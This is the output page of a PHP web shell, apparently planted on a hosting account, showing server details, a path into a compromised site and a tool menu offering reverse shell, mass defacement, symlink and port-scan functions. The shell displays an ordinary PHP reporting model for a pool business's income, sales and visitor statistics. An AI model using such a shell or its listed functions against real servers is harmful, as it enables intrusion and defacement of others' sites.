Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
piscina
/
app
/
models
/
Viewing: Reporte.php
<?php namespace App\Models; require_once dirname(__DIR__, 2) . '/config/database.php'; use mysqli; class Reporte { private static ?mysqli $conn = null; public static function ingresosPorFecha(string $fecha): array { $conn = self::connection(); $sql = 'SELECT origen AS tipo, SUM(monto) AS monto FROM movimientos_caja WHERE DATE(fecha) = ? AND tipo = "ingreso" GROUP BY origen ORDER BY monto DESC'; $stmt = $conn->prepare($sql); $stmt->bind_param('s', $fecha); $stmt->execute(); $resultado = $stmt->get_result(); if (!$resultado) { return []; } $registros = []; $total = 0.0; while ($row = $resultado->fetch_assoc()) { $monto = (float) $row['monto']; $registros[] = [ 'tipo' => $row['tipo'], 'monto' => $monto, ]; $total += $monto; } if ($total <= 0.0) { return []; } foreach ($registros as &$registro) { $registro['porcentaje'] = round(($registro['monto'] / $total) * 100, 2); } return $registros; } public static function ingresosPorOrigen(?string $inicio = null, ?string $fin = null): array { $conn = self::connection(); $sql = 'SELECT origen AS tipo, SUM(monto) AS monto FROM movimientos_caja WHERE tipo = "ingreso"'; $params = []; $tipos = ''; if ($inicio !== null && $fin !== null) { $sql .= ' AND DATE(fecha) BETWEEN ? AND ?'; $params[] = $inicio; $params[] = $fin; $tipos = 'ss'; } elseif ($inicio !== null) { $sql .= ' AND DATE(fecha) >= ?'; $params[] = $inicio; $tipos = 's'; } elseif ($fin !== null) { $sql .= ' AND DATE(fecha) <= ?'; $params[] = $fin; $tipos = 's'; } $sql .= ' GROUP BY origen ORDER BY monto DESC'; if ($tipos !== '') { $stmt = $conn->prepare($sql); $stmt->bind_param($tipos, ...$params); $stmt->execute(); $resultado = $stmt->get_result(); } else { $resultado = $conn->query($sql); } if (!$resultado) { return []; } $registros = []; $total = 0.0; while ($row = $resultado->fetch_assoc()) { $monto = (float) $row['monto']; $registros[] = [ 'tipo' => $row['tipo'], 'monto' => $monto, ]; $total += $monto; } if ($total <= 0.0) { return []; } foreach ($registros as &$registro) { $registro['porcentaje'] = round(($registro['monto'] / $total) * 100, 2); } return $registros; } public static function totalIngresos(string $fecha): float { $conn = self::connection(); $sql = 'SELECT COALESCE(SUM(monto), 0) AS total FROM movimientos_caja WHERE DATE(fecha) = ? AND tipo = "ingreso"'; $stmt = $conn->prepare($sql); $stmt->bind_param('s', $fecha); $stmt->execute(); $resultado = $stmt->get_result()->fetch_assoc(); return (float) ($resultado['total'] ?? 0.0); } public static function totalIngresosRango(?string $inicio = null, ?string $fin = null): float { $conn = self::connection(); $sql = 'SELECT COALESCE(SUM(monto), 0) AS total FROM movimientos_caja WHERE tipo = "ingreso"'; $params = []; $tipos = ''; if ($inicio !== null && $fin !== null) { $sql .= ' AND DATE(fecha) BETWEEN ? AND ?'; $params[] = $inicio; $params[] = $fin; $tipos = 'ss'; } elseif ($inicio !== null) { $sql .= ' AND DATE(fecha) >= ?'; $params[] = $inicio; $tipos = 's'; } elseif ($fin !== null) { $sql .= ' AND DATE(fecha) <= ?'; $params[] = $fin; $tipos = 's'; } if ($tipos !== '') { $stmt = $conn->prepare($sql); $stmt->bind_param($tipos, ...$params); $stmt->execute(); $fila = $stmt->get_result()->fetch_assoc(); } else { $fila = $conn->query($sql)->fetch_assoc(); } return (float) ($fila['total'] ?? 0.0); } public static function ingresosHistoricos(?string $inicio = null, ?string $fin = null): array { $conn = self::connection(); $sql = 'SELECT DATE(fecha) AS fecha, SUM(monto) AS total FROM movimientos_caja WHERE tipo = "ingreso"'; $params = []; $tipos = ''; if ($inicio !== null && $fin !== null) { $sql .= ' AND DATE(fecha) BETWEEN ? AND ?'; $params[] = $inicio; $params[] = $fin; $tipos = 'ss'; } elseif ($inicio !== null) { $sql .= ' AND DATE(fecha) >= ?'; $params[] = $inicio; $tipos = 's'; } elseif ($fin !== null) { $sql .= ' AND DATE(fecha) <= ?'; $params[] = $fin; $tipos = 's'; } $sql .= ' GROUP BY DATE(fecha) ORDER BY fecha ASC'; if ($tipos !== '') { $stmt = $conn->prepare($sql); $stmt->bind_param($tipos, ...$params); $stmt->execute(); $resultado = $stmt->get_result(); } else { $resultado = $conn->query($sql); } if (!$resultado) { return []; } $series = []; while ($row = $resultado->fetch_assoc()) { $series[] = [ 'fecha' => $row['fecha'], 'total' => (float) $row['total'], ]; } return $series; } public static function serviciosOrdenados(?string $inicio = null, ?string $fin = null): array { $conn = self::connection(); $sql = 'SELECT s.nombre, COUNT(u.id) AS usos FROM servicios s LEFT JOIN servicios_uso u ON u.servicio_id = s.id'; $params = []; $tipos = ''; if ($inicio !== null && $fin !== null) { $sql .= ' AND DATE(u.hora_inicio) BETWEEN ? AND ?'; $params[] = $inicio; $params[] = $fin; $tipos .= 'ss'; } elseif ($inicio !== null) { $sql .= ' AND DATE(u.hora_inicio) >= ?'; $params[] = $inicio; $tipos .= 's'; } elseif ($fin !== null) { $sql .= ' AND DATE(u.hora_inicio) <= ?'; $params[] = $fin; $tipos .= 's'; } $sql .= ' GROUP BY s.id, s.nombre ORDER BY usos DESC, s.nombre ASC'; if ($tipos !== '') { $stmt = $conn->prepare($sql); $stmt->bind_param($tipos, ...$params); $stmt->execute(); $resultado = $stmt->get_result(); } else { $resultado = $conn->query($sql); } if (!$resultado) { return []; } $servicios = []; while ($row = $resultado->fetch_assoc()) { $servicios[] = [ 'nombre' => $row['nombre'], 'usos' => (int) $row['usos'], ]; } return $servicios; } public static function ventasComidasOrdenadas(?string $inicio = null, ?string $fin = null): array { $conn = self::connection(); $sql = 'SELECT p.nombre AS producto, SUM(vd.cantidad) AS cantidad, SUM(vd.subtotal) AS total FROM venta_detalle vd INNER JOIN productos p ON p.id = vd.producto_id INNER JOIN ventas v ON v.id = vd.venta_id'; $params = []; $tipos = ''; if ($inicio !== null && $fin !== null) { $sql .= ' WHERE DATE(v.fecha) BETWEEN ? AND ?'; $params[] = $inicio; $params[] = $fin; $tipos .= 'ss'; } elseif ($inicio !== null) { $sql .= ' WHERE DATE(v.fecha) >= ?'; $params[] = $inicio; $tipos .= 's'; } elseif ($fin !== null) { $sql .= ' WHERE DATE(v.fecha) <= ?'; $params[] = $fin; $tipos .= 's'; } $sql .= ' GROUP BY p.id, p.nombre ORDER BY total DESC, cantidad DESC'; if ($tipos !== '') { $stmt = $conn->prepare($sql); $stmt->bind_param($tipos, ...$params); $stmt->execute(); $resultado = $stmt->get_result(); } else { $resultado = $conn->query($sql); } if (!$resultado) { return []; } $ventas = []; while ($row = $resultado->fetch_assoc()) { $ventas[] = [ 'producto' => $row['producto'], 'cantidad' => (int) $row['cantidad'], 'total' => (float) $row['total'], ]; } return $ventas; } public static function totalVentasComidas(?string $inicio = null, ?string $fin = null): float { $conn = self::connection(); $sql = 'SELECT COALESCE(SUM(total), 0) AS total FROM ventas'; $params = []; $tipos = ''; if ($inicio !== null && $fin !== null) { $sql .= ' WHERE DATE(fecha) BETWEEN ? AND ?'; $params[] = $inicio; $params[] = $fin; $tipos .= 'ss'; } elseif ($inicio !== null) { $sql .= ' WHERE DATE(fecha) >= ?'; $params[] = $inicio; $tipos .= 's'; } elseif ($fin !== null) { $sql .= ' WHERE DATE(fecha) <= ?'; $params[] = $fin; $tipos .= 's'; } if ($tipos !== '') { $stmt = $conn->prepare($sql); $stmt->bind_param($tipos, ...$params); $stmt->execute(); $resultado = $stmt->get_result(); } else { $resultado = $conn->query($sql); } if (!$resultado) { return 0.0; } $fila = $resultado->fetch_assoc(); return (float) ($fila['total'] ?? 0.0); } public static function empleadosRanking(?string $inicio = null, ?string $fin = null): array { $ventas = self::ventasPorEmpleado($inicio, $fin); $servicios = self::serviciosPorEmpleado($inicio, $fin); $empleados = []; foreach ($ventas as $venta) { $id = (int) $venta['empleado_id']; if (!isset($empleados[$id])) { $empleados[$id] = [ 'empleado_id' => $id, 'nombre' => $venta['nombre'], 'rol' => $venta['rol'], 'ventas' => 0, 'total' => 0.0, ]; } $empleados[$id]['ventas'] += (int) $venta['ventas']; $empleados[$id]['total'] += (float) $venta['total']; } foreach ($servicios as $servicio) { $id = (int) $servicio['empleado_id']; if (!isset($empleados[$id])) { $empleados[$id] = [ 'empleado_id' => $id, 'nombre' => $servicio['nombre'], 'rol' => $servicio['rol'], 'ventas' => 0, 'total' => 0.0, ]; } $empleados[$id]['ventas'] += (int) $servicio['servicios']; $empleados[$id]['total'] += (float) $servicio['total']; } $empleados = array_values($empleados); usort($empleados, fn ($a, $b) => $b['total'] <=> $a['total']); return $empleados; } public static function clientesPorRango(?string $inicio = null, ?string $fin = null): array { $conn = self::connection(); $sql = 'SELECT DATE(fecha_entrada) AS fecha, COUNT(*) AS cantidad FROM entradas'; $params = []; $tipos = ''; if ($inicio !== null && $fin !== null) { $sql .= ' WHERE DATE(fecha_entrada) BETWEEN ? AND ?'; $params[] = $inicio; $params[] = $fin; $tipos .= 'ss'; } elseif ($inicio !== null) { $sql .= ' WHERE DATE(fecha_entrada) >= ?'; $params[] = $inicio; $tipos .= 's'; } elseif ($fin !== null) { $sql .= ' WHERE DATE(fecha_entrada) <= ?'; $params[] = $fin; $tipos .= 's'; } $sql .= ' GROUP BY DATE(fecha_entrada) ORDER BY fecha ASC'; if ($tipos !== '') { $stmt = $conn->prepare($sql); $stmt->bind_param($tipos, ...$params); $stmt->execute(); $resultado = $stmt->get_result(); } else { $resultado = $conn->query($sql); } if (!$resultado) { return []; } $clientes = []; while ($row = $resultado->fetch_assoc()) { $clientes[] = [ 'fecha' => $row['fecha'], 'cantidad' => (int) $row['cantidad'], ]; } return $clientes; } public static function promedioClientes(?string $inicio = null, ?string $fin = null): float { $clientes = self::clientesPorRango($inicio, $fin); if (empty($clientes)) { return 0.0; } $total = array_sum(array_column($clientes, 'cantidad')); return round($total / count($clientes), 2); } public static function mayorAfluencia(?string $inicio = null, ?string $fin = null): ?array { $clientes = self::clientesPorRango($inicio, $fin); if (empty($clientes)) { return null; } usort($clientes, fn ($a, $b) => $b['cantidad'] <=> $a['cantidad']); return $clientes[0]; } public static function exportarHTML(string $titulo, array $cuerpo): string { $html = "<html><head><meta charset='utf-8'><title>{$titulo}</title>"; $html .= "<style>body{font-family:Arial,sans-serif;padding:20px;}h1{color:#1d4ed8;}table{width:100%;border-collapse:collapse;margin-top:20px;}th,td{border:1px solid #cbd5f5;padding:8px;text-align:left;}th{background:#1d4ed8;color:#fff;}</style>"; $html .= "</head><body><h1>{$titulo}</h1>"; $html .= $cuerpo['contenido'] ?? ''; $html .= '</body></html>'; return $html; } public static function exportarCSV(array $cabeceras, array $filas): string { $stream = fopen('php://temp', 'r+'); fputcsv($stream, $cabeceras, ';'); foreach ($filas as $fila) { fputcsv($stream, $fila, ';'); } rewind($stream); $csv = stream_get_contents($stream); fclose($stream); return $csv; } private static function connection(): mysqli { if (self::$conn instanceof mysqli) { return self::$conn; } $db = new \Database(); self::$conn = $db->getConnection(); return self::$conn; } private static function ventasPorEmpleado(?string $inicio, ?string $fin): array { $conn = self::connection(); $sql = 'SELECT e.id AS empleado_id, e.nombre, r.nombre AS rol, COUNT(DISTINCT v.id) AS ventas, COALESCE(SUM(v.total), 0) AS total FROM empleados e INNER JOIN roles r ON r.id = e.rol_id LEFT JOIN usuarios u ON u.id = e.usuario_id LEFT JOIN ventas v ON v.usuario_id = u.id'; $params = []; $tipos = ''; if ($inicio !== null && $fin !== null) { $sql .= ' WHERE DATE(v.fecha) BETWEEN ? AND ?'; $params[] = $inicio; $params[] = $fin; $tipos .= 'ss'; } elseif ($inicio !== null) { $sql .= ' WHERE DATE(v.fecha) >= ?'; $params[] = $inicio; $tipos .= 's'; } elseif ($fin !== null) { $sql .= ' WHERE DATE(v.fecha) <= ?'; $params[] = $fin; $tipos .= 's'; } $sql .= ' GROUP BY e.id, e.nombre, r.nombre HAVING COALESCE(SUM(v.total), 0) > 0'; if ($tipos !== '') { $stmt = $conn->prepare($sql); $stmt->bind_param($tipos, ...$params); $stmt->execute(); $resultado = $stmt->get_result(); } else { $resultado = $conn->query($sql); } if (!$resultado) { return []; } $ranking = []; while ($row = $resultado->fetch_assoc()) { $ranking[] = [ 'empleado_id' => (int) $row['empleado_id'], 'nombre' => $row['nombre'], 'rol' => $row['rol'], 'ventas' => (int) $row['ventas'], 'total' => (float) $row['total'], ]; } return $ranking; } private static function serviciosPorEmpleado(?string $inicio, ?string $fin): array { $conn = self::connection(); $sql = 'SELECT e.id AS empleado_id, e.nombre, r.nombre AS rol, COUNT(t.id) AS servicios FROM empleados e INNER JOIN roles r ON r.id = e.rol_id LEFT JOIN empleados_tareas t ON t.empleado_id = e.id'; $params = []; $tipos = ''; if ($inicio !== null && $fin !== null) { $sql .= ' WHERE t.fecha BETWEEN ? AND ?'; $params[] = $inicio; $params[] = $fin; $tipos .= 'ss'; } elseif ($inicio !== null) { $sql .= ' WHERE t.fecha >= ?'; $params[] = $inicio; $tipos .= 's'; } elseif ($fin !== null) { $sql .= ' WHERE t.fecha <= ?'; $params[] = $fin; $tipos .= 's'; } $sql .= ' GROUP BY e.id, e.nombre, r.nombre HAVING COUNT(t.id) > 0'; if ($tipos !== '') { $stmt = $conn->prepare($sql); $stmt->bind_param($tipos, ...$params); $stmt->execute(); $resultado = $stmt->get_result(); } else { $resultado = $conn->query($sql); } if (!$resultado) { return []; } $ranking = []; while ($row = $resultado->fetch_assoc()) { $ranking[] = [ 'empleado_id' => (int) $row['empleado_id'], 'nombre' => $row['nombre'], 'rol' => $row['rol'], 'servicios' => (int) $row['servicios'], 'total' => 0.0, ]; } return $ranking; } public static function rangoGlobal(): array { $conn = self::connection(); $fuentes = [ ['tabla' => 'movimientos_caja', 'campo' => 'fecha'], ['tabla' => 'entradas', 'campo' => 'fecha_entrada'], ['tabla' => 'ventas', 'campo' => 'fecha'], ['tabla' => 'servicios_uso', 'campo' => 'hora_inicio'], ['tabla' => 'empleados_tareas', 'campo' => 'fecha'], ]; $inicio = null; $fin = null; foreach ($fuentes as $fuente) { $tabla = $fuente['tabla']; $campo = $fuente['campo']; $resultado = $conn->query("SELECT MIN({$campo}) AS inicio, MAX({$campo}) AS fin FROM {$tabla}"); if ($resultado && ($row = $resultado->fetch_assoc())) { if (!empty($row['inicio'])) { $valorInicio = substr($row['inicio'], 0, 10); if ($inicio === null || $valorInicio < $inicio) { $inicio = $valorInicio; } } if (!empty($row['fin'])) { $valorFin = substr($row['fin'], 0, 10); if ($fin === null || $valorFin > $fin) { $fin = $valorFin; } } } } if ($inicio === null) { $inicio = date('Y-01-01'); } if ($fin === null) { $fin = date('Y-m-d'); } return [ 'inicio' => $inicio, 'fin' => $fin, ]; } }
Coded With 💗 by
0x6ick